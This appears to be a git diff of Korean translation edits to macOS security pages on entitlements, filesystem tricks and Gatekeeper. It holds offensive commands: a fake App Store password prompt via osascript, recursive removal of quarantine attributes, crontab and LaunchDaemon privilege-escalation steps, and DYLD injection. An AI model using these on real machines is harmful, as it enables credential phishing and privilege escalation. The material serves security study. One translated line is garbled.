해줍니다.\ +이 권한은 **`com.apple.security.cs.disable-library-validation`**와 매우 유사하지만, **직접적으로** 라이브러리 검증을 **비활성화하는 대신**, 프로세스가 **`csops` 시스템 호출을 호출하여 비활성화**할 수 있게 해줍니다.\ [**자세한 내용은 여기**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)를 확인하세요. ### `com.apple.security.cs.allow-dyld-environment-variables` @@ -46,7 +46,7 @@ ### **`system.install.apple-software`** 및 **`system.install.apple-software.standar-user`** -이 권한은 **사용자에게 권한 요청 없이 소프트웨어를 설치**할 수 있게 해주며, 이는 **권한 상승**에 유용할 수 있습니다. +이 권한은 사용자에게 **권한 요청 없이 소프트웨어를 설치**할 수 있게 해주며, 이는 **권한 상승**에 유용할 수 있습니다. ### `com.apple.private.security.kext-management` @@ -97,19 +97,19 @@ TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Up ```bash osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"' ``` -또는 그들이 **임의의 작업**을 수행하게 만드는 것입니다. +또한 **임의의 작업**을 수행할 수 있습니다. ### **`kTCCServiceEndpointSecurityClient`** -다른 권한 중에서 **사용자의 TCC 데이터베이스를 쓰는** 것을 허용합니다. +사용자의 TCC 데이터베이스를 **쓰기**를 포함한 여러 권한을 허용합니다. ### **`kTCCServiceSystemPolicySysAdminFiles`** -사용자의 **`NFSHomeDirectory`** 속성을 **변경**할 수 있게 하여 홈 폴더 경로를 변경하고 따라서 **TCC를 우회**할 수 있게 합니다. +사용자의 홈 폴더 경로를 변경하는 **`NFSHomeDirectory`** 속성을 **변경**할 수 있으며, 따라서 TCC를 **우회**할 수 있습니다. ### **`kTCCServiceSystemPolicyAppBundles`** -앱 번들(앱.app 내부) 내의 파일을 수정할 수 있게 하며, 이는 **기본적으로 금지되어** 있습니다. +앱 번들(앱.app 내부) 내의 파일을 수정할 수 있으며, 이는 기본적으로 **허용되지 않습니다**.
@@ -123,21 +123,21 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti ### `com.apple.security.cs.allow-jit` -이 권한은 `mmap()` 시스템 함수에 `MAP_JIT` 플래그를 전달하여 **쓰기 가능하고 실행 가능한 메모리를 생성**할 수 있게 합니다. [**자세한 내용은 여기에서 확인하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit). +이 권한은 `mmap()` 시스템 함수에 `MAP_JIT` 플래그를 전달하여 **쓰기 가능하고 실행 가능한 메모리**를 **생성**할 수 있게 합니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)를 확인하세요. ### `com.apple.security.cs.allow-unsigned-executable-memory` -이 권한은 **C 코드를 오버라이드하거나 패치**할 수 있게 하며, 오래 전에 사용 중단된 **`NSCreateObjectFileImageFromMemory`** (근본적으로 안전하지 않음)를 사용하거나 **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. [**자세한 내용은 여기에서 확인하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory). +이 권한은 **C 코드를 오버라이드하거나 패치**할 수 있게 하며, 오래 전에 사용 중단된 **`NSCreateObjectFileImageFromMemory`**(근본적으로 안전하지 않음)를 사용하거나 **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)를 확인하세요. > [!CAUTION] -> 이 권한을 포함하면 메모리 안전하지 않은 코드 언어에서 일반적인 취약점에 노출됩니다. 귀하의 앱이 이 예외가 필요한지 신중하게 고려하십시오. +> 이 권한을 포함하면 메모리 안전하지 않은 코드 언어에서 일반적인 취약점에 앱이 노출됩니다. 앱이 이 예외가 필요한지 신중하게 고려하세요. ### `com.apple.security.cs.disable-executable-page-protection` -이 권한은 **디스크에 있는 자신의 실행 파일의 섹션을 수정**하여 강제로 종료할 수 있게 합니다. [**자세한 내용은 여기에서 확인하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection). +이 권한은 **디스크의 실행 파일 섹션을 수정**하여 강제로 종료할 수 있게 합니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)를 확인하세요. > [!CAUTION] -> 실행 가능한 메모리 보호 비활성화 권한은 귀하의 앱에서 기본 보안 보호를 제거하는 극단적인 권한으로, 공격자가 귀하의 앱의 실행 코드를 탐지 없이 재작성할 수 있게 합니다. 가능하다면 더 좁은 권한을 선호하십시오. +> Disable Executable Memory Protection Entitlement는 앱에서 기본 보안 보호를 제거하는 극단적인 권한으로, 공격자가 탐지 없이 앱의 실행 코드를 재작성할 수 있게 합니다. 가능하다면 더 좁은 권한을 선호하세요. ### `com.apple.security.cs.allow-relative-library-loads` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index e92facced..355d1d393 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -14,7 +14,7 @@ ### 위험한 조합 -**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 그러나: +**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 하지만: - 경로의 부모 **디렉토리 소유자**가 사용자입니다. - 경로의 부모 **디렉토리 소유자**가 **쓰기 권한**이 있는 **사용자 그룹**입니다. @@ -24,7 +24,7 @@ ### 폴더 루트 R+X 특별 사례 -**루트만 R+X 접근 권한**이 있는 **디렉토리**에 파일이 있는 경우, 그 파일은 **다른 누구도 접근할 수 없습니다**. 따라서 **제한**으로 인해 사용자가 읽을 수 없는 **읽기 가능한 파일**을 이 폴더에서 **다른 폴더로 이동**할 수 있는 취약점이 있다면, 이를 악용하여 이러한 파일을 읽을 수 있습니다. +**루트만 R+X 접근 권한**을 가진 **디렉토리**에 파일이 있는 경우, 그 파일은 **다른 누구도 접근할 수 없습니다**. 따라서 **제한**으로 인해 사용자가 읽을 수 없는 **읽기 가능한 파일**을 이 폴더에서 **다른 폴더로 이동**할 수 있는 취약점이 있다면, 이를 악용하여 이러한 파일을 읽을 수 있습니다. 예시: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) @@ -62,9 +62,9 @@ `open` 호출에 `O_CLOEXEC` 플래그가 없으면 파일 설명자가 자식 프로세스에 의해 상속됩니다. 따라서, 권한이 있는 프로세스가 권한이 있는 파일을 열고 공격자가 제어하는 프로세스를 실행하면, 공격자는 **권한이 있는 파일에 대한 FD를 상속받게 됩니다**. -**높은 권한으로 파일이나 폴더를 열도록 프로세스를 만들 수 있다면**, **`crontab`**를 악용하여 **`EDITOR=exploit.py`**로 `/etc/sudoers.d`에 있는 파일을 열 수 있습니다. 그러면 `exploit.py`는 `/etc/sudoers` 내부의 파일에 대한 FD를 얻고 이를 악용할 수 있습니다. +**높은 권한으로 파일이나 폴더를 열도록 프로세스를 만들 수 있다면**, **`crontab`**를 악용하여 **`EDITOR=exploit.py`**로 `/etc/sudoers.d`의 파일을 열 수 있습니다. 그러면 `exploit.py`는 `/etc/sudoers` 내부의 파일에 대한 FD를 얻고 이를 악용할 수 있습니다. -예를 들어: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), 코드: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging +예: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), 코드: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging ## 격리 xattrs 트릭 피하기 @@ -74,7 +74,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app ``` ### uchg / uchange / uimmutable 플래그 -파일/폴더에 이 불변 속성이 설정되어 있으면 xattr를 추가할 수 없습니다. +파일/폴더에 이 불변 속성이 있으면 xattr를 설정할 수 없습니다. ```bash echo asd > /tmp/asd chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd" @@ -122,7 +122,7 @@ ls -le /tmp/test **AppleDouble** 파일 형식은 ACE를 포함하여 파일을 복사합니다. -[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 **AppleDouble** 파일 형식의 zip 파일로 압축했다면... 애플리케이션에 격리 xattr가 설정되지 않았습니다: +[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 zip 파일로 애플리케이션을 압축했다면... 애플리케이션에 격리 xattr가 설정되지 않았습니다: 자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)를 확인하세요. @@ -156,7 +156,7 @@ macos-xattr-acls-extra-stuff.md ### 플랫폼 바이너리 검사 우회 -일부 보안 검사는 바이너리가 **플랫폼 바이너리**인지 확인하여 XPC 서비스에 연결할 수 있도록 합니다. 그러나 https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/에서 설명된 바와 같이, 플랫폼 바이너리(예: /bin/ls)를 가져와서 `DYLD_INSERT_LIBRARIES` 환경 변수를 사용하여 dyld를 통해 익스플로잇을 주입함으로써 이 검사를 우회할 수 있습니다. +일부 보안 검사는 바이너리가 **플랫폼 바이너리**인지 확인하여 XPC 서비스에 연결할 수 있도록 합니다. 그러나 https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/에서 노출된 것처럼, 플랫폼 바이너리(예: /bin/ls)를 가져와 dyld를 통해 환경 변수 `DYLD_INSERT_LIBRARIES`를 사용하여 익스플로잇을 주입함으로써 이 검사를 우회할 수 있습니다. ### 플래그 `CS_REQUIRE_LV` 및 `CS_FORCED_LV` 우회 @@ -175,9 +175,9 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu ``` ## 코드 서명 우회 -번들에는 **`_CodeSignature/CodeResources`** 파일이 포함되어 있으며, 이 파일에는 **번들** 내의 모든 **파일**의 **해시**가 포함되어 있습니다. CodeResources의 해시도 **실행 파일**에 **내장**되어 있으므로, 우리는 그것을 건드릴 수 없습니다. +번들에는 **`_CodeSignature/CodeResources`** 파일이 포함되어 있으며, 이 파일에는 **번들** 내의 모든 **파일**의 **해시**가 포함되어 있습니다. CodeResources의 해시는 **실행 파일**에도 **내장**되어 있으므로, 그것을 건드릴 수 없습니다. -그러나 서명이 확인되지 않는 일부 파일이 있으며, 이러한 파일은 plist에서 omit 키를 가지고 있습니다. +그러나 서명이 확인되지 않는 일부 파일이 있으며, 이 파일들은 plist에서 omit 키를 가지고 있습니다. ```xml ... @@ -227,7 +227,7 @@ openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/ ``` ## Mount dmgs -사용자는 기존 폴더 위에 생성된 사용자 정의 dmg를 마운트할 수 있습니다. 이렇게 하면 사용자 정의 콘텐츠가 포함된 사용자 정의 dmg 패키지를 생성할 수 있습니다: +사용자는 기존 폴더 위에 생성된 사용자 정의 dmg를 마운트할 수 있습니다. 이렇게 하면 사용자 정의 콘텐츠로 사용자 정의 dmg 패키지를 생성할 수 있습니다: ```bash # Create the volume hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null @@ -261,7 +261,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg ### 데몬 -임의의 **LaunchDaemon**을 작성하여 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**와 같은 plist를 사용하여 임의의 스크립트를 실행하도록 합니다: +임의의 스크립트를 실행하는 plist와 함께 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**와 같은 임의의 **LaunchDaemon**을 작성합니다. ```xml @@ -308,11 +308,11 @@ LogFilePerm 777 ### 샌드박스 탈출 -FS 임의 쓰기를 통해 macOS 샌드박스를 탈출하는 것이 가능합니다. 몇 가지 예시는 [macOS Auto Start](../../../../macos-auto-start-locations.md) 페이지를 확인하세요. 그러나 일반적인 방법은 `~/Library/Preferences/com.apple.Terminal.plist`에 터미널 환경설정 파일을 작성하여 시작 시 명령을 실행하고 `open`을 사용하여 호출하는 것입니다. +FS 임의 쓰기를 통해 macOS 샌드박스를 탈출할 수 있습니다. 몇 가지 예시는 [macOS Auto Start](../../../../macos-auto-start-locations.md) 페이지를 확인하세요. 그러나 일반적인 방법은 `~/Library/Preferences/com.apple.Terminal.plist`에 터미널 환경설정 파일을 작성하여 시작 시 명령을 실행하고 `open`을 사용하여 호출하는 것입니다. ## 다른 사용자로서 쓰기 가능한 파일 생성 -이것은 내가 쓸 수 있는 루트 소유의 파일을 생성합니다 ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). 이것은 권한 상승으로도 작동할 수 있습니다: +이것은 내가 쓸 수 있는 루트 소속의 파일을 생성합니다 ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). 이것은 권한 상승으로도 작동할 수 있습니다: ```bash DIRNAME=/usr/local/etc/periodic/daily @@ -326,7 +326,7 @@ echo $FILENAME ``` ## POSIX 공유 메모리 -**POSIX 공유 메모리**는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 `shm_open()`을 사용하여 공유 메모리 객체를 생성하거나 열고, `ftruncate()`로 크기를 설정하며, `mmap()`을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 `munmap()`과 `close()`를 사용하여 공유 메모리를 언매핑하고 닫으며, 선택적으로 `shm_unlink()`로 메모리 객체를 제거할 수 있습니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다. +**POSIX 공유 메모리**는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 `shm_open()`을 사용하여 공유 메모리 객체를 생성하거나 열고, `ftruncate()`로 크기를 설정하며, `mmap()`을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 `munmap()`과 `close()`를 사용하여 공유 메모리를 언매핑하고 닫으며, 선택적으로 `shm_unlink()`로 메모리 객체를 제거합니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index f323f263c..afc76a186 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -4,21 +4,21 @@ ## Gatekeeper -**Gatekeeper**는 Mac 운영 체제를 위해 개발된 보안 기능으로, 사용자가 **신뢰할 수 있는 소프트웨어만** 시스템에서 실행하도록 보장합니다. 이는 사용자가 **App Store 외부의 소스**에서 다운로드하고 열려고 시도하는 소프트웨어를 **검증**함으로써 작동합니다. 예를 들어 앱, 플러그인 또는 설치 패키지가 있습니다. +**Gatekeeper**는 Mac 운영 체제를 위해 개발된 보안 기능으로, 사용자가 **신뢰할 수 있는 소프트웨어만** 시스템에서 실행하도록 보장합니다. 이는 사용자가 **App Store 외부의 소스**에서 다운로드하고 열려고 시도하는 소프트웨어(앱, 플러그인 또는 설치 패키지 등)를 **검증**함으로써 작동합니다. -Gatekeeper의 주요 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인정된 개발자에 의해 서명되었는지** 확인하여 소프트웨어의 진위를 보장합니다. 또한, 소프트웨어가 **Apple에 의해 노타리제이션(notarised)** 되었는지 확인하여 알려진 악성 콘텐츠가 없고 노타리제이션 후에 변조되지 않았음을 확인합니다. +Gatekeeper의 주요 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인정된 개발자에 의해 서명되었는지** 확인하여 소프트웨어의 진위를 보장합니다. 또한, 소프트웨어가 **Apple에 의해 노타리제이션(notarised)** 되었는지 확인하여, 알려진 악성 콘텐츠가 없고 노타리제이션 후에 변조되지 않았음을 확인합니다. -또한, Gatekeeper는 **사용자가 다운로드한 소프트웨어를 처음 열 때 승인하도록 요청**하여 사용자 제어 및 보안을 강화합니다. 이 보호 장치는 사용자가 무해한 데이터 파일로 착각할 수 있는 잠재적으로 해로운 실행 코드를 실수로 실행하는 것을 방지하는 데 도움을 줍니다. +또한, Gatekeeper는 **사용자가 다운로드한 소프트웨어를 처음 열 때 승인하도록 요청**하여 사용자 제어 및 보안을 강화합니다. 이 보호 장치는 사용자가 무심코 해로운 실행 코드를 실행하는 것을 방지하는 데 도움을 줍니다. ### Application Signatures -애플리케이션 서명, 즉 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이는 **소프트웨어 저자의 신원을 검증**(개발자)하고 코드가 마지막으로 서명된 이후 변조되지 않았음을 보장하는 데 사용됩니다. +애플리케이션 서명(Application signatures), 또는 코드 서명(code signatures)은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이는 **소프트웨어 저자의 신원을 검증**하고 코드가 마지막으로 서명된 이후 변조되지 않았음을 보장하는 데 사용됩니다. 작동 방식은 다음과 같습니다: -1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple Developer Program에 등록할 때 Apple이 개발자에게 발급하는 **인증서와 연결되어 있습니다**. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 것을 포함합니다. +1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple Developer Program에 등록할 때 Apple이 개발자에게 발급하는 **인증서**와 연결되어 있습니다. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 과정을 포함합니다. 2. **애플리케이션 배포:** 서명된 애플리케이션은 개발자의 인증서와 함께 사용자에게 배포되며, 이 인증서에는 해당 공개 키가 포함되어 있습니다. -3. **애플리케이션 검증:** 사용자가 애플리케이션을 다운로드하고 실행하려고 시도할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 현재 애플리케이션 상태를 기반으로 해시를 재계산하고 이를 복호화된 해시와 비교합니다. 일치하면 **애플리케이션이 개발자가 서명한 이후로 수정되지 않았음을 의미하며**, 시스템은 애플리케이션 실행을 허용합니다. +3. **애플리케이션 검증:** 사용자가 애플리케이션을 다운로드하고 실행하려고 시도할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 현재 애플리케이션 상태를 기반으로 해시를 재계산하고 이를 복호화된 해시와 비교합니다. 일치하면 **애플리케이션이 개발자가 서명한 이후로 수정되지 않았음을 의미**하며, 시스템은 애플리케이션 실행을 허용합니다. 애플리케이션 서명은 Apple의 Gatekeeper 기술의 필수적인 부분입니다. 사용자가 **인터넷에서 다운로드한 애플리케이션을 열려고 시도할 때**, Gatekeeper는 애플리케이션 서명을 검증합니다. Apple이 알려진 개발자에게 발급한 인증서로 서명되었고 코드가 변조되지 않았다면, Gatekeeper는 애플리케이션 실행을 허용합니다. 그렇지 않으면 애플리케이션을 차단하고 사용자에게 경고합니다. @@ -26,7 +26,7 @@ macOS Catalina부터는 **Gatekeeper가 애플리케이션이 Apple에 의해 #### Check Signatures -일부 **악성 샘플**을 확인할 때는 항상 **서명을 확인**해야 하며, 서명한 **개발자**가 이미 **악성 코드와 관련**이 있을 수 있습니다. +일부 **악성 샘플**을 검사할 때는 항상 **바이너리의 서명**을 **확인해야** 하며, 서명한 **개발자**가 이미 **악성 코드와 관련**이 있을 수 있습니다. ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -45,11 +45,11 @@ codesign -s toolsdemo ``` ### Notarization -Apple의 노타리제이션 프로세스는 사용자들을 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전장치 역할을 합니다. 이는 **개발자가 자신의 애플리케이션을** **Apple의 Notary Service**에 제출하여 검토를 받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 제출된 소프트웨어에 **악성 콘텐츠**와 코드 서명 관련 잠재적 문제를 검사하는 **자동화된 시스템**입니다. +Apple의 노타리제이션 프로세스는 사용자들을 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전장치 역할을 합니다. 이는 **개발자가 자신의 애플리케이션을** **Apple의 Notary Service**에 제출하여 검토받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 제출된 소프트웨어에 **악성 콘텐츠**와 코드 서명과 관련된 잠재적인 문제를 면밀히 조사하는 **자동화된 시스템**입니다. -소프트웨어가 이 검사를 통과하고 우려 사항이 없으면, Notary Service는 노타리제이션 티켓을 생성합니다. 개발자는 **이 티켓을 자신의 소프트웨어에 첨부해야** 하며, 이를 '스테이플링'이라고 합니다. 또한, 노타리제이션 티켓은 온라인에 게시되어 Gatekeeper, Apple의 보안 기술이 이를 접근할 수 있습니다. +소프트웨어가 우려 사항 없이 이 검사를 **통과**하면, Notary Service는 노타리제이션 티켓을 생성합니다. 개발자는 이후 **이 티켓을 자신의 소프트웨어에 첨부해야** 하며, 이를 '스테이플링'이라고 합니다. 또한, 노타리제이션 티켓은 온라인에 게시되어 Gatekeeper, Apple의 보안 기술이 이를 접근할 수 있습니다. -사용자가 소프트웨어를 처음 설치하거나 실행할 때, 노타리제이션 티켓의 존재 - 실행 파일에 스테이플링되었거나 온라인에서 발견된 경우 - **Gatekeeper에 소프트웨어가 Apple에 의해 노타리제이션되었음을 알립니다**. 결과적으로, Gatekeeper는 초기 실행 대화 상자에 설명 메시지를 표시하여 소프트웨어가 Apple에 의해 악성 콘텐츠 검사를 받았음을 나타냅니다. 이 과정은 사용자가 자신의 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높입니다. +사용자가 소프트웨어를 처음 설치하거나 실행할 때, 노타리제이션 티켓의 존재 - 실행 파일에 스테이플링되었거나 온라인에서 발견된 경우 - **Gatekeeper에 소프트웨어가 Apple에 의해 노타리제이션되었음을 알립니다**. 결과적으로, Gatekeeper는 초기 실행 대화 상자에 설명 메시지를 표시하여 소프트웨어가 Apple에 의해 악성 콘텐츠에 대한 검사를 받았음을 나타냅니다. 이 과정은 사용자가 자신의 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높입니다. ### spctl & syspolicyd @@ -84,7 +84,7 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID [...] ``` -**`syspolicyd`**는 `assess`, `update`, `record`, `cancel`과 같은 다양한 작업을 수행하는 XPC 서버를 노출하며, 이는 **`Security.framework`의 `SecAssessment*`** API를 통해 접근할 수 있고, **`xpctl`**은 실제로 XPC를 통해 **`syspolicyd`**와 통신합니다. +**`syspolicyd`**는 `assess`, `update`, `record`, `cancel`과 같은 다양한 작업을 수행하는 XPC 서버를 노출하며, 이는 **`Security.framework`의 `SecAssessment*`** API를 사용하여 접근할 수 있습니다. **`xpctl`**은 실제로 XPC를 통해 **`syspolicyd`**와 통신합니다. 첫 번째 규칙이 "**App Store**"로 끝나고 두 번째 규칙이 "**Developer ID**"로 끝나는 점에 주목하세요. 이전 이미지에서는 **App Store 및 식별된 개발자**의 앱을 실행할 수 있도록 **활성화**되어 있었습니다.\ 해당 설정을 App Store로 **수정**하면 "**Notarized Developer ID" 규칙이 사라질 것입니다**. @@ -122,7 +122,7 @@ spctl --master-enable
-**GateKeeper에 의해 앱이 허용될지 확인할 수 있습니다**: +**앱이 GateKeeper에 의해 허용될지 확인할 수 있습니다**: ```bash spctl --assess -v /Applications/App.app ``` @@ -149,9 +149,9 @@ spctl --assess -v /Applications/App.app **격리 플래그의 존재는 사용자가 파일을 실행하려고 할 때 macOS의 Gatekeeper 보안 기능을 신호합니다.** -**격리 플래그가 존재하지 않는 경우**(일부 BitTorrent 클라이언트를 통해 다운로드된 파일과 같이), Gatekeeper의 **검사가 수행되지 않을 수 있습니다**. 따라서 사용자는 덜 안전하거나 알려지지 않은 출처에서 다운로드한 파일을 열 때 주의해야 합니다. +**격리 플래그가 없는 경우**(일부 BitTorrent 클라이언트를 통해 다운로드된 파일과 같이), Gatekeeper의 **검사가 수행되지 않을 수 있습니다**. 따라서 사용자는 덜 안전하거나 알려지지 않은 출처에서 다운로드한 파일을 열 때 주의해야 합니다. -> [!NOTE] > **코드 서명의 유효성**을 **확인하는** 것은 코드와 모든 번들 리소스의 암호화된 **해시**를 생성하는 것을 포함하는 **자원 집약적인** 과정입니다. 또한, 인증서 유효성 검사는 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 **온라인 확인**을 수행하는 것을 포함합니다. 이러한 이유로, 전체 코드 서명 및 인증 확인은 **앱이 실행될 때마다 수행하기에는 비현실적입니다**. +> [!NOTE] > **코드 서명의 유효성**을 **확인하는** 과정은 코드와 모든 번들 리소스의 암호화된 **해시**를 생성하는 것을 포함하는 **자원 집약적** 프로세스입니다. 또한, 인증서 유효성 검사는 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 **온라인 확인**을 수행하는 것을 포함합니다. 이러한 이유로, 전체 코드 서명 및 인증 확인은 **앱이 실행될 때마다 수행하기에는 비현실적입니다**. > > 따라서 이러한 검사는 **격리 속성이 있는 앱을 실행할 때만 수행됩니다.** @@ -171,13 +171,13 @@ spctl --enable spctl --disable #You can also allow nee identifies to execute code using the binary "spctl" ``` -파일에 **격리 확장 속성이 있는지 확인할 수 있습니다**: +파일에 격리 확장 속성이 있는지 **확인할 수 있습니다**: ```bash xattr file.png com.apple.macl com.apple.quarantine ``` -확장된 속성의 **값**을 확인하고 다음과 같이 격리 속성을 작성한 앱을 찾으십시오: +확인하십시오 **값** 의 **확장된** **속성** 및 찾으십시오 격리 속성을 작성한 앱: ```bash xattr -l portada.png com.apple.macl: @@ -259,7 +259,7 @@ return 0; ```
-그리고 **해당 속성을 제거**하려면: +그리고 **해당** 속성을 제거합니다: ```bash xattr -d com.apple.quarantine portada.png #You can also remove this attribute from every file with @@ -269,7 +269,7 @@ find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine ```bash find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine" ``` -격리 정보는 **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**에 의해 관리되는 중앙 데이터베이스에 저장되어 있어 GUI가 파일 출처에 대한 데이터를 얻을 수 있습니다. 또한, 이는 출처를 숨기려는 애플리케이션에 의해 덮어쓸 수 있습니다. 이는 LaunchServices API를 통해 수행될 수 있습니다. +격리 정보는 **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**에 의해 관리되는 중앙 데이터베이스에 저장되어 있으며, 이는 GUI가 파일 출처에 대한 데이터를 얻을 수 있게 합니다. 또한, 이는 출처를 숨기려는 애플리케이션에 의해 덮어쓸 수 있습니다. 이는 LaunchServices API를 통해 수행될 수 있습니다. #### **libquarantine.dylb** @@ -279,9 +279,9 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri #### **Quarantine.kext** -커널 확장은 **시스템의 커널 캐시**를 통해서만 사용할 수 있습니다. 그러나 **Kernel Debug Kit를** [**https://developer.apple.com/**](https://developer.apple.com/)에서 다운로드할 수 있으며, 이 키트는 확장의 기호화된 버전을 포함합니다. +커널 확장은 **시스템의 커널 캐시**를 통해서만 사용할 수 